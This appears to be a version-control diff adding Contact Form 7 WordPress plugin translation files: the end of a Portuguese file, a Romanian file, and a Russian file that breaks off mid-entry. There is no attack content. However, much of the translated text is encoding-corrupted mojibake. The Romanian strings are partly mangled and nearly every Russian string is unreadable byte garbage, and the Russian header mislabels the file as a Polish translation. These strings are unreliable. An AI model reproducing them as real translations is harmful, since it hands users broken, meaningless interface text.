+#: contact-form-7/wp-contact-form-7.php:399
+msgid "Foreground color"
+msgstr "Cor do texto"
+
+#: contact-form-7/wp-contact-form-7.php:400
+msgid "Background color"
+msgstr "Cor de fundo"
+
+#: contact-form-7/wp-contact-form-7.php:401
+msgid "Image size"
+msgstr "Tamanho da imagem"
+
+#: contact-form-7/wp-contact-form-7.php:402
+msgid "Small"
+msgstr "Pequena"
+
+#: contact-form-7/wp-contact-form-7.php:403
+msgid "Medium"
+msgstr "MÃ©dia"
+
+#: contact-form-7/wp-contact-form-7.php:404
+msgid "Large"
+msgstr "Grande"
+
+#: contact-form-7/wp-contact-form-7.php:405
+msgid "Image settings"
+msgstr "ConfiguraÃ§Ãµes da imagem"
+
+#: contact-form-7/wp-contact-form-7.php:406
+msgid "Input field settings"
+msgstr "ConfiguraÃ§Ãµes do campo de introduÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:407
+msgid "For image"
+msgstr "Para a imagem"
+
+#: contact-form-7/wp-contact-form-7.php:408
+msgid "For input field"
+msgstr "Para o campo de introduÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:409
+msgid "* One choice per line."
+msgstr "* Uma opÃ§Ã£o por linha."
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Contact form created."
+msgstr "FormulÃ¡rio de contacto criado."
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "Contact form saved."
+msgstr "FormulÃ¡rio de contacto salvo."
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Contact form deleted."
+msgstr "FormulÃ¡rio de contacto eliminado."
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Untitled"
+msgstr "Sem nome"
+
+#: contact-form-7/wp-contact-form-7.php:465
+msgid "Your Name"
+msgstr "O seu nome"
+
+#: contact-form-7/wp-contact-form-7.php:465
+#: contact-form-7/wp-contact-form-7.php:467
+msgid "(required)"
+msgstr "(obrigatÃ³rio)"
+
+#: contact-form-7/wp-contact-form-7.php:467
+msgid "Your Email"
+msgstr "O seu e-mail"
+
+#: contact-form-7/wp-contact-form-7.php:469
+msgid "Subject"
+msgstr "Assunto"
+
+#: contact-form-7/wp-contact-form-7.php:471
+msgid "Your Message"
+msgstr "A sua mensagem"
+
+#: contact-form-7/wp-contact-form-7.php:473
+#: contact-form-7/wp-contact-form-7.php:956
+msgid "Send"
+msgstr "Enviar"
+
+#: contact-form-7/wp-contact-form-7.php:502
+msgid "Your message was sent successfully. Thanks."
+msgstr "A sua mensagem foi enviada com sucesso. Obrigado."
+
+#: contact-form-7/wp-contact-form-7.php:504
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Ocorreu um erro ao enviar a sua mensagem. Por favor tente mais tarde ou tente contactar o administrador de outra forma."
+
+#: contact-form-7/wp-contact-form-7.php:506
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Ocorreram erros de validaÃ§Ã£o. Por favor verifique os dados e envie novamente."
+
+#: contact-form-7/wp-contact-form-7.php:508
+msgid "Please accept the terms to proceed."
+msgstr "Por favor aceite os termos para prosseguir."
+
+#: contact-form-7/wp-contact-form-7.php:510
+msgid "Email address seems invalid."
+msgstr "O endereÃ§o de e-mail parece invÃ¡lido."
+
+#: contact-form-7/wp-contact-form-7.php:512
+msgid "Please fill the required field."
+msgstr "Por favor preencha este campo obrigatÃ³rio."
+
+#: contact-form-7/wp-contact-form-7.php:514
+msgid "Your entered code is incorrect."
+msgstr "O cÃ³digo introduzido estÃ¡ incorrecto."
+
+#: contact-form-7/includes/admin-panel.php:15
+msgid "Add new"
+msgstr "Adicionar novo"
+
+#: contact-form-7/includes/admin-panel.php:28
+msgid "Copy and paste this code into your post content."
+msgstr "Copie e cole este cÃ³digo no conteÃºdo do seu artigo ou pÃ¡gina."
+
+#: contact-form-7/includes/admin-panel.php:33
+msgid "Form"
+msgstr "FormulÃ¡rio"
+
+#: contact-form-7/includes/admin-panel.php:37
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/includes/admin-panel.php:39
+#: contact-form-7/includes/admin-panel.php:60
+msgid "To:"
+msgstr "Para:"
+
+#: contact-form-7/includes/admin-panel.php:43
+#: contact-form-7/includes/admin-panel.php:64
+msgid "From:"
+msgstr "De:"
+
+#: contact-form-7/includes/admin-panel.php:47
+#: contact-form-7/includes/admin-panel.php:68
+msgid "Subject:"
+msgstr "Assunto:"
+
+#: contact-form-7/includes/admin-panel.php:51
+#: contact-form-7/includes/admin-panel.php:72
+msgid "Message body:"
+msgstr "Corpo da mensagem:"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:58
+msgid "Use mail (2)"
+msgstr "Usar mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:80
+msgid "Save"
+msgstr "Salvar"
+
+#: contact-form-7/includes/admin-panel.php:86
+msgid "Delete this contact form"
+msgstr "Eliminar este formulÃ¡rio de contato"
+
+#: contact-form-7/includes/admin-panel.php:87
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"EstÃ¡ prestes a eliminar este formulÃ¡rio.\n"
+" 'Cancelar' para interromper, 'OK' para eleminar."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ro_RO.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ro_RO.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ro_RO.po	(revision 44)
@@ -0,0 +1,407 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-07 00:21+0900\n"
+"PO-Revision-Date: 2008-12-21 17:59+0200\n"
+"Last-Translator: Stas Sushkov <noi@softwareliber.ro>\n"
+"Language-Team: WordPress Romania <noi@softwareliber.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ./\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-Language: Romanian\n"
+"X-Poedit-Country: ROMANIA\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:391
+msgid "Contact form"
+msgstr "Formular pentru contact"
+
+#: contact-form-7/wp-contact-form-7.php:548
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:566
+msgid "optional"
+msgstr "opÈional"
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Generate Tag"
+msgstr "Generare Tag"
+
+#: contact-form-7/wp-contact-form-7.php:568
+msgid "Text field"
+msgstr "CÃ¢mp text"
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Email field"
+msgstr "CÃ¢mp pentru email"
+
+#: contact-form-7/wp-contact-form-7.php:570
+msgid "Text area"
+msgstr "CÃ¢mp text (textarea)"
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Drop-down menu"
+msgstr "Meniu selecÈii"
+
+#: contact-form-7/wp-contact-form-7.php:572
+msgid "Checkboxes"
+msgstr "CÄsuÈe cu bifÄ"
+
+#: contact-form-7/wp-contact-form-7.php:573
+msgid "Radio buttons"
+msgstr "Butoane radio"
+
+#: contact-form-7/wp-contact-form-7.php:574
+msgid "Acceptance"
+msgstr "Confirmare"
+
+#: contact-form-7/wp-contact-form-7.php:575
+msgid "Make this checkbox checked by default?"
+msgstr "SÄ fie bifatÄ implicit aceastÄ cÄsuÈÄ?"
+
+#: contact-form-7/wp-contact-form-7.php:576
+msgid "Make this checkbox work inversely?"
+msgstr "SÄ fie inversat modul de funcÈionare a acestei cÄsuÈe?"
+
+#: contact-form-7/wp-contact-form-7.php:577
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Presupune cÄ vizitatorul care acceptÄ termenii va fi nevoit sÄ o debifeze."
+
+#: contact-form-7/wp-contact-form-7.php:578
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:579
+msgid "File upload"
+msgstr "AtaÈare fiÈiere"
+
+#: contact-form-7/wp-contact-form-7.php:580
+msgid "Submit button"
+msgstr "Buton de trimitere"
+
+#: contact-form-7/wp-contact-form-7.php:581
+msgid "Name"
+msgstr "Nume"
+
+#: contact-form-7/wp-contact-form-7.php:582
+msgid "Required field?"
+msgstr "CÃ¢mp obligatoriu?"
+
+#: contact-form-7/wp-contact-form-7.php:583
+msgid "Allow multiple selections?"
+msgstr "Permite multiple selecÈii?"
+
+#: contact-form-7/wp-contact-form-7.php:584
+msgid "Insert a blank item as the first option?"
+msgstr "InsereazÄ un item gol ca primÄ opÈiune?"
+
+#: contact-form-7/wp-contact-form-7.php:585
+msgid "Make checkboxes exclusive?"
+msgstr "SÄ fie cÄsuÈele exclusive?"
+
+#: contact-form-7/wp-contact-form-7.php:586
+msgid "Choices"
+msgstr "PosibilitÄÈi"
+
+#: contact-form-7/wp-contact-form-7.php:587
+msgid "Label"
+msgstr "EtichetÄ (label)"
+
+#: contact-form-7/wp-contact-form-7.php:588
+msgid "Default value"
+msgstr "Valoarea ImplicitÄ"
+
+#: contact-form-7/wp-contact-form-7.php:589
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:590
+msgid "This field requires author's name"
+msgstr "Acest cÃ¢mp necesitÄ numele autorului"
+
+#: contact-form-7/wp-contact-form-7.php:591
+msgid "This field requires author's URL"
+msgstr "Acest cÃ¢mp necesitÄ adresa web a autorului"
+
+#: contact-form-7/wp-contact-form-7.php:592
+msgid "This field requires author's email address"
+msgstr "Acest cÃ¢mp necesitÄ adresa email a autorului"
+
+#: contact-form-7/wp-contact-form-7.php:593
+msgid "Copy this code and paste it into the form left."
+msgstr "CopiaÈi acest cod Èi lipiÈi-l Ã®n formularul din stÃ¢nga."
+
+#: contact-form-7/wp-contact-form-7.php:594
+msgid "Foreground color"
+msgstr "Culoarea textului"
+
+#: contact-form-7/wp-contact-form-7.php:595
+msgid "Background color"
+msgstr "Culoarea de fundal"
+
+#: contact-form-7/wp-contact-form-7.php:596
+msgid "Image size"
+msgstr "Dimensiunea imaginii"
+
+#: contact-form-7/wp-contact-form-7.php:597
+msgid "Small"
+msgstr "MicÄ"
+
+#: contact-form-7/wp-contact-form-7.php:598
+msgid "Medium"
+msgstr "Medie"
+
+#: contact-form-7/wp-contact-form-7.php:599
+msgid "Large"
+msgstr "Mare"
+
+#: contact-form-7/wp-contact-form-7.php:600
+msgid "Image settings"
+msgstr "SetÄri imagine"
+
+#: contact-form-7/wp-contact-form-7.php:601
+msgid "Input field settings"
+msgstr "SetÄri cÃ¢mpuri"
+
+#: contact-form-7/wp-contact-form-7.php:602
+msgid "For image"
+msgstr "Pentru imagine"
+
+#: contact-form-7/wp-contact-form-7.php:603
+msgid "For input field"
+msgstr "Pentru cÃ¢mpuri"
+
+#: contact-form-7/wp-contact-form-7.php:604
+msgid "* One choice per line."
+msgstr "* O opÈiune per linie."
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "Show"
+msgstr "AfiÈeazÄ"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Hide"
+msgstr "Ascunde"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "File size limit"
+msgstr "Limita dimensiunii fiÈierului"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Acceptable file types"
+msgstr "Tipuri de fiÈiere acceptate"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "Contact form created."
+msgstr "Formularul de contact a fost creat."
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Contact form saved."
+msgstr "Formularul de contact a fost salvat."
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Contact form deleted."
+msgstr "Formularul de contact a fost Èters."
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Untitled"
+msgstr "FÄrÄ nume"
+
+#: contact-form-7/wp-contact-form-7.php:678
+msgid "Your Name"
+msgstr "Numele"
+
+#: contact-form-7/wp-contact-form-7.php:678
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "(required)"
+msgstr "(obligatoriu)"
+
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "Your Email"
+msgstr "Adresa email"
+
+#: contact-form-7/wp-contact-form-7.php:682
+msgid "Subject"
+msgstr "Subiect"
+
+#: contact-form-7/wp-contact-form-7.php:684
+msgid "Your Message"
+msgstr "Mesaj"
+
+#: contact-form-7/wp-contact-form-7.php:686
+#: contact-form-7/wp-contact-form-7.php:1325
+msgid "Send"
+msgstr "Trimite"
+
+#: contact-form-7/wp-contact-form-7.php:739
+msgid "Your message was sent successfully. Thanks."
+msgstr "Mesajul a fost trimis. VÄ mulÈumim."
+
+#: contact-form-7/wp-contact-form-7.php:741
+#: contact-form-7/wp-contact-form-7.php:743
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Mesajul nu a fost trimis. VÄ rugÄm sÄ Ã®ncercaÈi mai tÃ¢rziu, sau Ã®ncercaÈi o altÄ metodÄ pentru contact."
+
+#: contact-form-7/wp-contact-form-7.php:745
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Au apÄrut erori de validare. VÄ rugÄm sÄ verificaÈi cÃ¢mpurile Èi sÄ reÃ®ncercaÈi trimiterea."
+
+#: contact-form-7/wp-contact-form-7.php:747
+msgid "Please accept the terms to proceed."
+msgstr "VÄ rugÄm sÄ citiÈi termenii Ã®nainte de a trimite."
+
+#: contact-form-7/wp-contact-form-7.php:749
+msgid "Email address seems invalid."
+msgstr "Adresa de email nu pare validÄ."
+
+#: contact-form-7/wp-contact-form-7.php:751
+msgid "Please fill the required field."
+msgstr "VÄ rugÄm sÄ verificaÈi cÃ¢mpurile obligatorii."
+
+#: contact-form-7/wp-contact-form-7.php:753
+msgid "Your entered code is incorrect."
+msgstr "Codul introdus este greÈit."
+
+#: contact-form-7/wp-contact-form-7.php:755
+msgid "Failed to upload file."
+msgstr "Nu s-a reuÈit ataÈarea fiÈierului."
+
+#: contact-form-7/wp-contact-form-7.php:757
+msgid "This file type is not allowed."
+msgstr "Acest tip de fiÈiere este interzis."
+
+#: contact-form-7/wp-contact-form-7.php:759
+msgid "This file is too large."
+msgstr "FiÈierul este prea mare."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "AdaugÄ"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "CopiaÈi acest code Èi lipiÈi-l Ã®n corpul unei paginÄ, unui articol sau widget."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:253
+msgid "Save"
+msgstr "SalveazÄ"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "Èterge acest formular"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"DoriÈi sÄ ÈtergeÈi acest formular de contact.\n"
+"  'Cancel' pentru a anula, 'OK' pentru a continua."
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "Formular"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Pentru:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "De la:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "Subiectul:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "FiÈiere ataÈate:"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(AveÈi nevoie de WordPress 2.7 sau mai nou pentru a putea folosi aceastÄ funcÈionalitate)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "FoloseÈte tipul conÈinutului HTML"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Mesajul:"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "FoloseÈte Èi mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "Mesaje"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "Mesajul a fost trimis. VÄ mulÈumim."
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "Nu s-a reuÈit trimiterea mesajului expeditorului"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet evalueazÄ activitatea de expediere drept spam"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "Au apÄrut erori de validare"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "Mai este un cÃ¢mp care trebuie completat de emiÈÄtor"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "Adresa email specificatÄ de emiÈÄtor este invalidÄ"
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "ExistÄ un cÃ¢mp cu termenii ce trebuie acceptaÈi de expeditor"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Codul trimis de expeditor nu verificÄ CAPTCHA"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "Uploading a file fails for any reason"
+msgstr "AtaÈarea fiÈierului nu merge nicicum"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploaded file is not allowed file type"
+msgstr "Tipul fiÈierul ataÈat nu este permis"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is too large"
+msgstr "FiÈierul ataÈat este prea mare"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ru_RU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ru_RU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ru_RU.po	(revision 44)
@@ -0,0 +1,215 @@
+# translation of wpcf7-pl_PL.po to Polish
+# Zbigniew Czernik <czernik@tlen.pl>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: wpcf7-ru_RU\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-09-29 20:46+0200\n"
+"Last-Translator: Dmitry <6630125@mail.ru>\n"
+"Language-Team: Russian <volotovich@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Russian\n"
+"X-Poedit-Country: Russia\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Generator: KBabel 1.11.4\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:224
+#: contact-form-7/wp-contact-form-7.php:297
+msgid "Contact form"
+msgstr "Ð€ÐŸÑÐŒÐ° ÐŽÐ»Ñ ÐºÐŸÐœÑÐ°ÐºÑÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:253
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:273
+#, php-format
+msgid "Contact form \"%s\" deleted. "
+msgstr "Ð€ÐŸÑÐŒÐ° \"%s\" ÑÐŽÐ°Ð»ÐµÐœÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:289
+#, php-format
+msgid "Contact form \"%s\" saved. "
+msgstr "Ð€ÐŸÑÐŒÐ° \"%s\" ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:318
+msgid "Your Name"
+msgstr "ÐÐ°ÑÐµ ÐžÐŒÑ"
+
+#: contact-form-7/wp-contact-form-7.php:318
+#: contact-form-7/wp-contact-form-7.php:320
+msgid "(required)"
+msgstr "(ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)"
+
+#: contact-form-7/wp-contact-form-7.php:320
+msgid "Your Email"
+msgstr "ÐÐ°Ñ E-Mail"
+
+#: contact-form-7/wp-contact-form-7.php:322
+msgid "Subject"
+msgstr "Ð¢ÐµÐŒÐ°"
+
+#: contact-form-7/wp-contact-form-7.php:324
+msgid "Your Message"
+msgstr "Ð¡ÐŸÐŸÐ±ÑÐµÐœÐžÐµ"
+
+#: contact-form-7/wp-contact-form-7.php:326
+#: contact-form-7/wp-contact-form-7.php:738
+msgid "Send"
+msgstr "ÐÑÐ¿ÑÐ°Ð²ÐžÑÑ"
+
+#: contact-form-7/wp-contact-form-7.php:345
+msgid "Your message was sent successfully. Thanks."
+msgstr "ÐÐ°ÑÐµ ÑÐŸÐŸÐ±ÑÐµÐœÐžÐµ Ð±ÑÐ»ÐŸ ÐŸÑÐ¿ÑÐ°Ð²Ð»ÐµÐœÐŸ ÑÑÐ¿ÐµÑÐœÐŸ. Ð¡Ð¿Ð°ÑÐžÐ±ÐŸ."
+
+#: contact-form-7/wp-contact-form-7.php:347
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ÐÑÐžÐ±ÐºÐ° ÐŸÑÐ¿ÑÐ°Ð²ÐºÐž ÑÐŸÐŸÐ±ÑÐµÐœÐžÑ. ÐÐŸÐ¿ÑÑÐ°Ð¹ÑÐµÑÑ Ð¿ÐŸÐ·Ð¶Ðµ ÐžÐ»Ðž ÐŸÐ±ÑÐ°ÑÐžÑÐµÑÑ Ðº Ð°ÐŽÐŒÐžÐœÐžÑÑÑÐ°ÑÐŸÑÑ ÑÐ°Ð¹ÑÐ°."
+
+#: contact-form-7/wp-contact-form-7.php:349
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "ÐÑÐžÐ±ÐºÐ° Ð·Ð°Ð¿ÐŸÐ»ÐœÐµÐœÐžÑ. ÐÐ°Ð¿ÐŸÐ»ÐœÐžÑÐµ Ð²ÑÐµ Ð¿ÐŸÐ»Ñ Ðž ÐŸÑÐ¿ÑÐ°Ð²ÑÑÐµ ÑÐœÐŸÐ²Ð°."
+
+#: contact-form-7/wp-contact-form-7.php:351
+msgid "Email address seems invalid."
+msgstr "Ð-mail Ð°ÐŽÑÐµÑ ÐœÐµÐ¿ÑÐ°Ð²ÐžÐ»ÑÐœÑÐ¹."
+
+#: contact-form-7/wp-contact-form-7.php:353
+msgid "Please fill the required field."
+msgstr "ÐÐŸÐ¶Ð°Ð»ÑÐ¹ÑÑÐ°, Ð·Ð°Ð¿ÐŸÐ»ÐœÐžÑÐµ ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÑÐµ Ð¿ÐŸÐ»Ñ."
+
+#: contact-form-7/wp-contact-form-7.php:355
+msgid "Your entered code is incorrect."
+msgstr "ÐÐŸÐŽ Ð²Ð²ÐµÐŽÐµÐœ ÐÐ°ÐŒÐž ÐœÐµÐ¿ÑÐ°Ð²ÐžÐ»ÑÐœÐŸ"
+
+#: contact-form-7/includes/admin-panel.php:19
+#: contact-form-7/includes/admin-panel.php:22
+msgid "Add new"
+msgstr "ÐÐŸÐ±Ð°Ð²ÐžÑÑ ÐœÐŸÐ²ÑÑ"
+
+#: contact-form-7/includes/admin-panel.php:34
+msgid "Title"
+msgstr "ÐÐ°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº"
+
+#: contact-form-7/includes/admin-panel.php:39
+msgid "Copy and paste this code into your post content."
+msgstr "Ð¡ÐºÐŸÐ¿ÐžÑÑÐ¹ÑÐµ Ðž Ð²ÑÑÐ°Ð²ÑÑÐµ ÐºÐŸÐŽ Ð² ÐÐ°ÑÑ ÑÑÑÐ°ÐœÐžÑÑ."
+
+#: contact-form-7/includes/admin-panel.php:45
+msgid "Form content"
+msgstr "Ð¡ÐŸÐŽÐµÑÐ¶Ð°ÐœÐžÐµ ÑÐŸÑÐŒÑ"
+
+#: contact-form-7/includes/admin-panel.php:60
+msgid "Mail template"
+msgstr "ÐšÐ°Ð±Ð»ÐŸÐœ Ð¿ÐžÑÑÐŒÐ°"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Subject field:"
+msgstr "ÐÐŸÐ»Ðµ ÑÐµÐŒÑ:"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Sender field:"
+msgstr "ÐÐŽÑÐµÑ ÐŸÑÐ¿ÑÐ°Ð²ÐžÑÐµÐ»Ñ:"
+
+#: contact-form-7/includes/admin-panel.php:65
+msgid "Message body:"
+msgstr "Ð¢ÐµÐ»ÐŸ ÑÐŸÐŸÐ±ÑÐµÐœÐžÑ:"
+
+#: contact-form-7/includes/admin-panel.php:69
+msgid "Options"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž"
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Recipient address:"
+msgstr "ÐÐŽÑÐµÑ Ð¿ÐŸÐ»ÑÑÐ°ÑÐµÐ»Ñ:"
+
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Save"
+msgstr "Ð¡ÐŸÑ
+ÑÐ°ÐœÐžÑÑ"
+
+#: contact-form-7/includes/admin-panel.php:82
+msgid "Delete this contact form"
+msgstr "Ð£ÐŽÐ°Ð»ÐžÑÑ ÑÑÑ ÑÐŸÑÐŒÑ"
+
+#: contact-form-7/includes/admin-panel.php:83
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ð£ÐŽÐ°Ð»ÐžÑÑ ÑÑÑ ÑÐŸÑÐŒÑ?.\n"
+"  'Cancel' ÐœÐµ ÑÐŽÐ°Ð»ÑÑÑ, 'OK' ÑÐŽÐ°Ð»ÐžÑÑ."
+
+#: contact-form-7/includes/admin-panel.php:137
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/includes/admin-panel.php:138
+msgid "Check this field as sender&#39;s name"
+msgstr "ÐÑÐŸÐ²ÐµÑÑÑÑ ÑÑÐŸ Ð¿ÐŸÐ»Ðµ ÐºÐ°Ðº ÐžÐŒÑ ÐŸÑÐ¿ÑÐ°Ð²ÐžÑÐµÐ»Ñ"
+
+#: contact-form-7/includes/admin-panel.php:139
+msgid "Check this field as sender&#39;s email"
+msgstr "ÐÑÐŸÐ²ÐµÑÑÑÑ ÑÑÐŸ Ð¿ÐŸÐ»Ðµ ÐºÐ°Ðº e-mail"
+
+#: contact-form-7/includes/admin-panel.php:140
+msgid "Check this field as sender&#39;s URL"
+msgstr "ÐÑÐŸÐ²ÐµÑÑÑÑ ÑÑÐŸ Ð¿ÐŸÐ»Ðµ ÐºÐ°Ðº URL"
+
+#: contact-form-7/includes/admin-panel.php:141
+msgid "Don&#39;t check this field with Akismet"
+msgstr "ÐÑÐŸÐ²ÐµÑÑÑÑ ÑÑÐŸ Ð¿ÐŸÐ»Ðµ c Akismet Ð¿Ð»Ð°Ð³ÐžÐœ"
+
+#: contact-form-7/includes/admin-panel.php:148
+#: contact-form-7/includes/admin-panel.php:161
+#: contact-form-7/includes/admin-panel.php:194
+msgid "Default value"
+msgstr "ÐÐœÐ°ÑÐµÐœÐžÐµ Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ"
+
+#: contact-form-7/includes/admin-panel.php:169
+msgid "Choices"
+msgstr "ÐÑÐ±ÐŸÑ"
+
+#: contact-form-7/includes/admin-panel.php:170
+msgid "* One choice per line."
+msgstr "* Ð¿ÐŸ ÐŸÐŽÐœÐŸÐ¹ Ð² ÑÑÑÐŸÐºÐµ."
+
+#: contact-form-7/includes/admin-panel.php:178
+msgid "Foreground color"
+msgstr "ÐŠÐ²ÐµÑ Ð¿ÐµÑÐµÐŽÐœÐµÐ³ÐŸ Ð¿Ð»Ð°ÐœÐ°"
+
+#: contact-form-7/includes/admin-panel.php:179
+msgid "Background color"
+msgstr "ÐŠÐ²ÐµÑ ÑÐŸÐœÐ°"
+
+#: contact-form-7/includes/admin-panel.php:180
+msgid "Image size"
+msgstr "Ð Ð°Ð·ÐŒÐµÑ ÐºÐ°ÑÑÐžÐœÐºÐž"
+
+#: contact-form-7/includes/admin-panel.php:182
+msgid "Small"
+msgstr "ÐÐ°Ð»ÐµÐœÑÐºÐžÐ¹"
+
+#: contact-form-7/includes/admin-panel.php:183
+msgid "Medium"
+msgstr "Ð¡ÑÐµÐŽÐœÐžÐ¹"
+
+#: contact-form-7/includes/admin-panel.php:184
